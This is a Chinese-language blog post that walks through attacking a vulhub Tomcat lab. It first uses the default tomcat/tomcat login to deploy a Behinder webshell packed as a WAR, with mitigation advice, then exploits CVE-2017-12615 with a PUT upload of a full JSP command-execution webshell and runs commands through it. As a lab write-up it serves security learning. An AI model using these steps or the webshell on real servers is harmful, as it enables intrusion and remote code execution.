banner
[面包]MrTwoC

[面包]MrTwoC

你好,欢迎来到这个基于区块链的个人博客 名字:面包 / MrTwoc 爱好:跑步(5/10KM)、咖啡、游戏(MMORPG、FPS、Minecraft、Warframe) 兴趣方向:Rust、区块链、网络安全、量子信息(量子计算)、游戏设计与开发
bilibili
steam
email
github

TomCat檔案上傳漏洞

環境:centOS7
tomcat
docker
需要工具:java 環境、冰蝎

弱口令利用,並上傳#

文件位置:
/root/CVE/vulhub-master/tomcat/tomcat8
在虛擬機中運行 docker,命令
docker-compose up -d
image.png
再查詢虛擬機的 IP 地址,在本機中打開,tomcat 默認端口 8080
image.png
可以看到右上角有個 manager App
image.png
利用弱口令進入:用戶名 tomcat,密碼 tomcat
進入網頁,發現有上傳東西的地方
image.png
然後打開冰蝎準備上傳 shell
image.png
選 default_aes ,然後點擊生成服務端
image.png
之後自動彈出一個文件夾,裡面有需要的 shell 文件
image.png
打開 cmd,選擇其中一個.jsp
輸入命令
jar cvf shell.war .\shell.jsp
將 shell 文件打包成 war 包,準備上傳
image.png
image.png
提示成功,打開地址驗證一下
image.png
http://192.168.1.4:8080/shell/shell.jsp
發現成功,打開冰蝎,點擊新增,輸入剛才的地址
image.png
image.png
image.png
這樣就拿到了 shell

修復方案
1、更改弱密碼(治標不治本)
2、在系統上以低權限運行 Tomcat 應用程序。創建一個專門的
Tomcat 服務用戶,該用戶只能擁有一組最小權限(例如不允許遠程登錄)。
3、增加對於本地和基於證書的身份驗證,部署賬戶鎖定機制 (對於集中式認證,目錄服務也要做相應配置)。
在 CATALINA_HOME/conf/web.xml 文件設置鎖定機制和時間超時限制。
4、以及針對 manager-gui/manager-status/manager-script 等目錄頁面設置最小權限訪問限制。

CVE-2017-12615—— 遠程代碼執行#

image.png
image.png
試試點擊 Manager App,被攔截了
image.png
現在打開 BrupSuite
準備好提供的 POC
<%@ page language="java" import="java.util.,java.io." pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("

");}else{out.println(":-)");}%>

將攔截到的發送到 Repeater
image.png
將 GET 改為 PUT /1.jsp/,再在下面添加上之前準備的 POC
image.png

狀態碼提示為 201,為上傳成功了,打開地址
image.png
嘗試輸入指令
http://192.168.1.4:8080/1.jsp?pwd=023&cmd=id
image.png
image.png

同理,這裡的 POC,可以替換為冰蝎的 shell,從而更好的拿到 shell

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。